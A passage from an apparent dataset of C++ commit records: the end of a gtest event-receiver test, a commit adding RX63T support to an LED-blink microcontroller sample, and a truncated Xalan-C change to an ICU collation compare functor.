yet:\n  EXPECT_TRUE(receiver->m_myVec.empty()) << \"Event handler invoked before barrier was hit; it should have been deferred\";\n  EXPECT_TRUE(receiver->IsRunning()) << \"Receiver is terminated\";\n\n  \/\/ Unblock:\n  receiver->Proceed();\n\n  \/\/ Now wait until all events are processed:\n  receiver->Wait();\n\n  \/\/ Validate our vectors:\n  ASSERT_EQ(10, receiver->m_myVec.size()) << \"Receiver was not populated correctly with a vector\";\n  for(size_t i = 0; i < sc_numElems; i++)\n    EXPECT_EQ(i, ascending[i]) << \"Element at offset \" << i << \" was incorrectly copied\";\n}\n\nTEST_F(EventReceiverTest, VerifyNoUnnecessaryCopies) {\n  \/\/ Make our copy counter:\n  CopyCounter ctr;\n\n  \/\/ Verify the counter correctly tracks the number of times it was copied:\n  {\n    CopyCounter myCopy1 = ctr;\n    ASSERT_EQ(1, myCopy1.m_count) << \"Copy counter appears to be broken; cannot run test\";\n\n    CopyCounter myCopy2 = myCopy1;\n    ASSERT_EQ(2, myCopy2.m_count) << \"Secondary counter appears to be broken; cannot run test\";\n\n    CopyCounter myCopy3(std::move(myCopy2));\n    ASSERT_EQ(2, myCopy3.m_count) << \"Move ctor doesn't appear to be invoked correctly\";\n\n    \/\/ Try a move copy\n    CopyCounter myCopy4;\n    myCopy4 = std::move(myCopy3);\n    ASSERT_EQ(2, myCopy4.m_count) << \"Move assignment didn't correctly propagate the current count\";\n  }\n\n  \/\/ Signal the barrier so we can quit:\n  \/\/receiver->Proceed();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/=====================================================================\/\/\n\/*! @file\n    @brief  ファースト・サンプル（LED 点滅） @n\n\t\t\t※動作周波数は、RXxxx\/clock_profile.hpp を参照。\n    @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2018, 2022 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#include \"common\/renesas.hpp\"\n\nnamespace {\n\n\/\/\/ LED 接続ポートの定義\n\/\/\/ LED を「吸い込み：出力０で点灯させる場合」LED_ACTIVE = 0\n\/\/\/ LED を「吐き出し：出力１で点灯させる場合」LED_ACTIVE = 1\n\/\/ Memo:\n\/\/    ポート出力は、電流を引いた（吸い込み）場合と、電流を掃き出した（吐き出し）場合で、能力が異なります。\n\/\/    一般的に、「吸い込み」の方が電流を多く流せる場合が多く、その慣例に従って、「吸い込み」で接続する場合が通例です。\n#if defined(SIG_RX62N)\n\tstatic constexpr bool LED_ACTIVE = 0;\n  #if defined(CQ_FRK)\n    \/\/ FRK-RX62N(CQ 出版社)\n\ttypedef device::PORT<device::PORT1, device::bitpos::B5, LED_ACTIVE> LED;\n  #else\n    \/\/ BlueBoard-RX62N_100pin\n\ttypedef device::PORT<device::PORT0, device::bitpos::B5, LED_ACTIVE> LED;\n  #endif\n#elif defined(SIG_RX24T)\n\t\/\/ DIY RX24T board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B0, LED_ACTIVE> LED;\n#elif defined(SIG_RX71M)\n\t\/\/ DIY RX72M board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B7, LED_ACTIVE> LED;\n#elif defined(SIG_RX72M)\n\t\/\/ 工事中\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B7, LED_ACTIVE> LED;\n#elif defined(SIG_RX72N)\n\t\/\/ RX72N Envision Kit\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT4, device::bitpos::B0, LED_ACTIVE> LED;\n#elif defined(SIG_RX64M)\n\t\/\/ DIY RX64M board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B7, LED_ACTIVE> LED;\n#elif defined(SIG_RX65N)\n\t\/\/ RX65N Envision Kit\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT7, device::bitpos::B0, LED_ACTIVE> LED;\n#elif defined(SIG_RX66T)\n\t\/\/ DIY RX66T board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B0, LED_ACTIVE> LED;\n#elif defined(SIG_RX72T)\n\t\/\/ DIY RX72T board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B1, LED_ACTIVE> LED;\n#endif\n}\n\nint main(int argc, char** argv);\n\nint main(int argc, char** argv)\n{\n\tSYSTEM_IO::boost_master_clock();\n\n\tLED::OUTPUT();  \/\/ LED ポートを出力に設定\n\n\tLED::P = 0;  \/\/ 消灯から開始\n\n\twhile(1) {\n#if 1\n\t\tutils::delay::milli_second(250);\n\t\tLED::P = 1;  \/\/ 点灯\n\t\tutils::delay::milli_second(250);\n\t\tLED::P = 0;  \/\/ 消灯\n#else\n\t\t\/\/ 50KHz 出力\n\t\tutils::delay::micro_second(10);\n\t\tLED::FLIP();  \/\/ 反転\n#endif\n\t}\n}\n<commit_msg>Update: add RX63T<commit_after>\/\/=====================================================================\/\/\n\/*! @file\n    @brief  ファースト・サンプル（LED 点滅） @n\n\t\t\t※動作周波数は、RXxxx\/clock_profile.hpp を参照。\n    @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2018, 2022 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#include \"common\/renesas.hpp\"\n\nnamespace {\n\n\/\/\/ LED 接続ポートの定義\n\/\/\/ LED を「吸い込み：出力０で点灯させる場合」LED_ACTIVE = 0\n\/\/\/ LED を「吐き出し：出力１で点灯させる場合」LED_ACTIVE = 1\n\/\/ Memo:\n\/\/    ポート出力は、電流を引いた（吸い込み）場合と、電流を掃き出した（吐き出し）場合で、能力が異なります。\n\/\/    一般的に、「吸い込み」の方が電流を多く流せる場合が多く、その慣例に従って、「吸い込み」で接続する場合が通例です。\n#if defined(SIG_RX63T)\n\t\/\/ DIY RX63T board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B0, LED_ACTIVE> LED;\n#elif defined(SIG_RX62N)\n\tstatic constexpr bool LED_ACTIVE = 0;\n  #if defined(CQ_FRK)\n    \/\/ FRK-RX62N(CQ 出版社)\n\ttypedef device::PORT<device::PORT1, device::bitpos::B5, LED_ACTIVE> LED;\n  #else\n    \/\/ BlueBoard-RX62N_100pin\n\ttypedef device::PORT<device::PORT0, device::bitpos::B5, LED_ACTIVE> LED;\n  #endif\n#elif defined(SIG_RX24T)\n\t\/\/ DIY RX24T board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B0, LED_ACTIVE> LED;\n#elif defined(SIG_RX71M)\n\t\/\/ DIY RX72M board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B7, LED_ACTIVE> LED;\n#elif defined(SIG_RX72M)\n\t\/\/ 工事中\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B7, LED_ACTIVE> LED;\n#elif defined(SIG_RX72N)\n\t\/\/ RX72N Envision Kit\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT4, device::bitpos::B0, LED_ACTIVE> LED;\n#elif defined(SIG_RX64M)\n\t\/\/ DIY RX64M board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B7, LED_ACTIVE> LED;\n#elif defined(SIG_RX65N)\n\t\/\/ RX65N Envision Kit\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT7, device::bitpos::B0, LED_ACTIVE> LED;\n#elif defined(SIG_RX66T)\n\t\/\/ DIY RX66T board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B0, LED_ACTIVE> LED;\n#elif defined(SIG_RX72T)\n\t\/\/ DIY RX72T board\n\tstatic constexpr bool LED_ACTIVE = 0;\n\ttypedef device::PORT<device::PORT0, device::bitpos::B1, LED_ACTIVE> LED;\n#endif\n}\n\nint main(int argc, char** argv);\n\nint main(int argc, char** argv)\n{\n\tSYSTEM_IO::boost_master_clock();\n\n\tLED::OUTPUT();  \/\/ LED ポートを出力に設定\n\n\tLED::P = 0;  \/\/ 消灯から開始\n\n\twhile(1) {\n#if 1\n\t\tutils::delay::milli_second(250);\n\t\tLED::P = 1;  \/\/ 点灯\n\t\tutils::delay::milli_second(250);\n\t\tLED::P = 0;  \/\/ 消灯\n#else\n\t\t\/\/ 50KHz 出力\n\t\tutils::delay::micro_second(10);\n\t\tLED::FLIP();  \/\/ 反転\n#endif\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000-2002 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#include \"ICUBridgeCollationCompareFunctorImpl.hpp\"\n#include \"ICUBridge.hpp\"\n\n\n\n#include <algorithm>\n#include <cstdlib>\n\n\n\n#include <Include\/XalanAutoPtr.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/XalanUnicode.hpp>\n\n\n\nXALAN_CPP_NAMESPACE_BEGIN\n\n\n\nconst StylesheetExecutionContextDefault::DefaultCollationCompareFunctor\t\tICUBridgeCollationCompareFunctorImpl::s_defaultFunctor;\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tUErrorCode&\t\t\ttheStatus,\n\t\t\tconst Locale&\t\ttheLocale,\n\t\t\tXalanDOMString*\t\ttheLocaleName = 0)\n{\n\ttypedef ICUBridgeCollationCompareFunctorImpl::CollatorType\tCollatorType;\n\n\tif (theLocaleName != 0)\n\t{\n\t\t*theLocaleName = theLocale.getName();\n\n\t\t\/\/ Replace _ with -, since that's what xml:lang specifies...\n\t\tXalanDOMString::size_type\ttheIndex;\n\n\t\twhile((theIndex = indexOf(*theLocaleName, XalanUnicode::charLowLine)) != theLocaleName->length())\n\t\t{\n\t\t\t(*theLocaleName)[theIndex] = XalanUnicode::charHyphenMinus;\n\t\t}\n\t}\n\n\treturn CollatorType::createInstance(theLocale, theStatus);\n}\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tUErrorCode&\t\t\ttheStatus,\n\t\t\tXalanDOMString*\t\ttheLocaleName = 0)\n{\n\tconst char*\t\ttheLang =\n#if defined(XALAN_STRICT_ANSI_HEADERS)\n\t\t\tstd::getenv(\"LANG\");\n#else\n\t\t\tgetenv(\"LANG\");\n#endif\n\n\tif (theLang == 0)\n\t{\n#if defined(XALAN_ICU_DEFAULT_LOCALE_PROBLEM)\n\t\treturn createCollator(theStatus, Locale::US, theLocaleName);\n#else\n\t\treturn createCollator(theStatus, Locale::getDefault(), theLocaleName);\n#endif\n\t}\n\telse\n\t{\n\t\treturn createCollator(theStatus, Locale(theLang), theLocaleName);\n\t}\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::ICUBridgeCollationCompareFunctorImpl(bool\t\tfCacheCollators) :\n\tm_isValid(false),\n\tm_defaultCollator(0),\n\tm_defaultCollatorLocaleName(),\n\tm_cacheCollators(fCacheCollators),\n\tm_collatorCache()\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\tm_defaultCollator = createCollator(theStatus, &m_defaultCollatorLocaleName);\n\n\tif (U_SUCCESS(theStatus))\n\t{\n\t\tm_isValid = true;\n\t}\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::~ICUBridgeCollationCompareFunctorImpl()\n{\n\tXALAN_USING_STD(for_each)\n\n\tdelete m_defaultCollator;\n\n\tfor_each(\n\t\t\tm_collatorCache.begin(),\n\t\t\tm_collatorCache.end(),\n\t\t\tCollationCacheStruct::CollatorDeleteFunctor());\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tconst CollatorType&\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const\n{\n#if defined(XALAN_USE_WCHAR_CAST_HACK) && defined(U_WCHAR_IS_UTF16)\n\treturn theCollator.compare(\n\t\t\t\t(const wchar_t*)theLHS,\n\t\t\t\tlength(theLHS),\n\t\t\t\t(const wchar_t*)theRHS,\n\t\t\t\tlength(theRHS));\n#else\n\treturn theCollator.compare(\n\t\t\t\ttheLHS,\n\t\t\t\tlength(theLHS),\n\t\t\t\ttheRHS,\n\t\t\t\tlength(theRHS));\n#endif\n}\n\n\n\ninline UColAttributeValue\ncaseOrderConvert(ICUBridgeCollationCompareFunctorImpl::eCaseOrder\ttheCaseOrder)\n{\n\tswitch(theCaseOrder)\n\t{\n\tcase StylesheetExecutionContext::eLowerFirst:\n\t\treturn UCOL_LOWER_FIRST;\n\t\tbreak;\n\n\tcase StylesheetExecutionContext::eUpperFirst:\n\t\treturn UCOL_UPPER_FIRST;\n\t\tbreak;\n\n\tcase StylesheetExecutionContext::eDefault:\n\t\tbreak;\n\n\tdefault:\n\t\tassert(false);\n\t\tbreak;\n\t}\n\n\treturn UCOL_DEFAULT;\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doDefaultCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS) const\n{\n\tif (isValid() == false)\n\t{\n\t\treturn s_defaultFunctor(theLHS, theRHS, StylesheetExecutionContext::eDefault);\n\t}\n\telse\n\t{\n\t\tassert(m_defaultCollator != 0);\n\n\t\treturn doCompare(*m_defaultCollator, theLHS, theRHS);\n\t}\n}\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\tUErrorCode&\t\t\t\ttheStatus)\n{\n\tassert(theLocale != 0);\n\n\tconst XalanDOMString::size_type\t\ttheLength = length(theLocale);\n\n\tif (theLength >= ULOC_FULLNAME_CAPACITY)\n\t{\n\t\ttheStatus = U_ILLEGAL_ARGUMENT_ERROR;\n\n\t\treturn 0;\n\t}\n\telse\n\t{\n#if defined(XALAN_NON_ASCII_PLATFORM)\n\t\tCharVectorType\ttheVector;\n\n\t\tTranscodeToLocalCodePage(theLocale, theVector, true);\n\n\t\tconst char* const\ttheBuffer = c_str(theVector);\n#else\n\t\tchar\ttheBuffer[ULOC_FULLNAME_CAPACITY];\n\n\t\t\/\/ Since language names must be ASCII, this\n\t\t\/\/ is the cheapest way to \"transcode\"...\n\t\tfor (unsigned int i = 0; i <= theLength; ++i)\n\t\t{\n\t\t\ttheBuffer[i] = char(theLocale[i]);\n\t\t}\n#endif\n\t\treturn ICUBridgeCollationCompareFunctorImpl::CollatorType::createInstance(\n\t\t\t\t\tLocale::createFromName(theBuffer),\n\t\t\t\t\ttheStatus);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\tXalanAutoPtr<CollatorType>\ttheCollator(createCollator(theLocale, theStatus));\n\n\tif (U_SUCCESS(theStatus))\n\t{\n\t\tassert(theCollator.get() != 0);\n\n\t\treturn doCompare(\n\t\t\t\t*theCollator.get(),\n\t\t\t\ttheLHS,\n\t\t\t\ttheRHS,\n\t\t\t\ttheCaseOrder);\n\t}\n\telse\n\t{\n\t\treturn s_defaultFunctor(theLHS, theRHS, theCaseOrder);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompareCached(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tCollatorType*\ttheCollator = getCachedCollator(theLocale);\n\n\tif (theCollator != 0)\n\t{\n\t\treturn doCompare(*theCollator, theLHS, theRHS, theCaseOrder);\n\t}\n\telse\n\t{\n\t\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\t\tXalanAutoPtr<CollatorType>\ttheCollatorGuard(createCollator(theLocale, theStatus));\n\n\t\tif (U_SUCCESS(theStatus))\n\t\t{\n\t\t\tassert(theCollatorGuard.get() != 0);\n\n\t\t\t\/\/ OK, there was no error, so cache the instance...\n\t\t\tcacheCollator(theCollatorGuard.get(), theLocale);\n\n\t\t\t\/\/ Release the collator, since it's in the cache and\n\t\t\t\/\/ will be controlled by the cache...\n\t\t\ttheCollator = theCollatorGuard.release();\n\n\t\t\treturn doCompare(\n\t\t\t\t\t*theCollator,\n\t\t\t\t\ttheLHS,\n\t\t\t\t\ttheRHS,\n\t\t\t\t\ttheCaseOrder);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn s_defaultFunctor(theLHS, theRHS, theCaseOrder);\n\t\t}\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::doCompare(\n\t\t\tCollatorType&\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tUErrorCode\ttheStatus = U_ZERO_ERROR;\n\n\ttheCollator.setAttribute(\n\t\t\t\tUCOL_CASE_FIRST,\n\t\t\t\tcaseOrderConvert(theCaseOrder),\n\t\t\t\ttheStatus);\n\n#if defined(XALAN_USE_WCHAR_CAST_HACK) && defined(U_WCHAR_IS_UTF16)\n\treturn theCollator.compare(\n\t\t\t\t\t(const wchar_t*)theLHS,\n\t\t\t\t\tlength(theLHS),\n\t\t\t\t\t(const wchar_t*)theRHS,\n\t\t\t\t\tlength(theRHS));\n#else\n\treturn theCollator.compare(\n\t\t\t\t\ttheLHS,\n\t\t\t\t\tlength(theLHS),\n\t\t\t\t\ttheRHS,\n\t\t\t\t\tlength(theRHS));\n#endif\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::operator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tif (theCaseOrder == StylesheetExecutionContext::eDefault)\n\t{\n\t\treturn doDefaultCompare(theLHS, theRHS);\n\t}\n\telse\n\t{\n\t\treturn doCompare(\n\t\t\t\ttheLHS,\n\t\t\t\ttheRHS,\n\t\t\t\tc_wstr(m_defaultCollatorLocaleName),\n\t\t\t\ttheCaseOrder);\n\t}\n}\n\n\n\nint\nICUBridgeCollationCompareFunctorImpl::operator()(\n\t\t\tconst XalanDOMChar*\t\ttheLHS,\n\t\t\tconst XalanDOMChar*\t\ttheRHS,\n\t\t\tconst XalanDOMChar*\t\ttheLocale,\n\t\t\teCaseOrder\t\t\t\ttheCaseOrder) const\n{\n\tif (theCaseOrder == StylesheetExecutionContext::eDefault &&\n\t\tXalanDOMString::equals(m_defaultCollatorLocaleName, theLocale) == true)\n\t{\n\t\treturn doDefaultCompare(theLHS, theRHS);\n\t}\n\telse if (m_cacheCollators == true)\n\t{\n\t\treturn doCompareCached(theLHS, theRHS, theLocale, theCaseOrder);\n\t}\n\telse\n\t{\n\t\treturn doCompare(theLHS, theRHS, theLocale, theCaseOrder);\n\t};\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::CollatorType*\nICUBridgeCollationCompareFunctorImpl::getCachedCollator(const XalanDOMChar*\t\ttheLocale) const\n{\n\tXALAN_USING_STD(find_if)\n\n\tCollatorCacheListType&\t\ttheNonConstCache =\n#if defined(XALAN_NO_MUTABLE)\n\t\t(CollatorCacheListType*)m_collatorCache;\n#else\n\t\tm_collatorCache;\n#endif\n\n\tCollatorCacheListType::iterator\ti =\n\t\tfind_if(\n\t\t\ttheNonConstCache.begin(),\n\t\t\ttheNonConstCache.end(),\n\t\t\tCollationCacheStruct::CollatorFindFunctor(theLocale));\n\n\tif (i == theNonConstCache.end())\n\t{\n\t\treturn 0;\n\t}\n\telse\n\t{\n\t\t\/\/ Let's do a quick check to see if we found the first entry.\n\t\t\/\/ If so, we don't have to update the cache, so just return the\n\t\t\/\/ appropriate value...\n\t\tconst CollatorCacheListType::iterator\ttheBegin =\n\t\t\ttheNonConstCache.begin();\n\n\t\tif (i == theBegin)\n\t\t{\n\t\t\treturn (*i).m_collator;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\/\/ Save the collator, because splice() may invalidate\n\t\t\t\/\/ i.\n\t\t\tCollatorType* const\t\ttheCollator = (*i).m_collator;\n\n\t\t\t\/\/ Move the entry to the beginning the cache\n\t\t\ttheNonConstCache.splice(theBegin, theNonConstCache, i);\n\n\t\t\treturn theCollator;\n\t\t}\n\t}\n}\n\n\n\nvoid\nICUBridgeCollationCompareFunctorImpl::cacheCollator(\n\t\t\tCollatorType*\t\t\ttheCollator,\n\t\t\tconst XalanDOMChar*\t\ttheLocale) const\n{\n\tassert(theCollator != 0);\n\tassert(theLocale != 0);\n\n\tCollatorCacheListType&\t\ttheNonConstCache =\n#if defined(XALAN_NO_MUTABLE)\n\t\t(CollatorCacheListType*)m_collatorCache;\n#else\n\t\tm_collatorCache;\n#endif\n\n\t\/\/ Is the cache full?\n\tif (theNonConstCache.size() == eCacheMax)\n\t{\n\t\t\/\/ Yes, so guard the collator instance, in case pop_back() throws...\n\t\tXalanAutoPtr<CollatorType>\ttheCollatorGuard(theNonConstCache.back().m_collator);\n\n\t\ttheNonConstCache.pop_back();\n\t}\n\n\ttheNonConstCache.push_front(CollatorCacheListType::value_type());\n\n\tCollatorCacheListType::value_type&\t\ttheEntry = \n\t\ttheNonConstCache.front();\n\n\t\/\/ Set the locale first, since that might throw an exception...\n\ttheEntry.m_locale = theLocale;\n\n\ttheEntry.m_collator = theCollator;\n}\n\n\n\nXALAN_CPP_NAMESPACE_END\n<commit_msg>Removed reference to ICU #define.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000-2002 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\n#include \"ICUBridgeCollationCompareFunctorImpl.hpp\"\n#include \"ICUBridge.hpp\"\n\n\n\n#include <algorithm>\n#include <cstdlib>\n\n\n\n#include <Include\/XalanAutoPtr.hpp>\n\n\n\n#include <PlatformSupport\/DOMStringHelper.hpp>\n#include <PlatformSupport\/XalanUnicode.hpp>\n\n\n\nXALAN_CPP_NAMESPACE_BEGIN\n\n\n\nconst StylesheetExecutionContextDefault::DefaultCollationCompareFunctor\t\tICUBridgeCollationCompareFunctorImpl::s_defaultFunctor;\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tUErrorCode&\t\t\ttheStatus,\n\t\t\tconst Locale&\t\ttheLocale,\n\t\t\tXalanDOMString*\t\ttheLocaleName = 0)\n{\n\ttypedef ICUBridgeCollationCompareFunctorImpl::CollatorType\tCollatorType;\n\n\tif (theLocaleName != 0)\n\t{\n\t\t*theLocaleName = theLocale.getName();\n\n\t\t\/\/ Replace _ with -, since that's what xml:lang specifies...\n\t\tXalanDOMString::size_type\ttheIndex;\n\n\t\twhile((theIndex = indexOf(*theLocaleName, XalanUnicode::charLowLine)) != theLocaleName->length())\n\t\t{\n\t\t\t(*theLocaleName)[theIndex] = XalanUnicode::charHyphenMinus;\n\t\t}\n\t}\n\n\treturn CollatorType::createInstance(theLocale, theStatus);\n}\n\n\n\ninline ICUBridgeCollationCompareFunctorImpl::CollatorType*\ncreateCollator(\n\t\t\tUErrorCode&\t\t\ttheStatus,\n\t\t\tXalanDOMString*\t\ttheLocaleName = 0)\n{\n\tconst char*\t\ttheLang =\n#if defined(XALAN_STRICT_ANSI_HEADERS)\n\t\t\tstd::getenv(\"LANG\");\n#else\n\t\t\tgetenv(\"LANG\");\n#endif\n\n\tif (theLang == 0)\n\t{\n#if defined(XALAN_ICU_DEFAULT_LOCALE_PROBLEM)\n\t\treturn createCollator(theStatus, Locale::US, theLocaleName);\n#else\n\t\treturn createCollator(theStatus, Locale::getDefault(), theLocaleName);\n#endif\n\t}\n\telse\n\t{\n\t\treturn createCollator(theStatus, Locale(theLang), theLocaleName);\n\t}\n}\n\n\n\nICUBridgeCollationCompareFunctorImpl::ICUBridgeCollationCompareFunctorImpl(bool\t\tfCacheCollators) 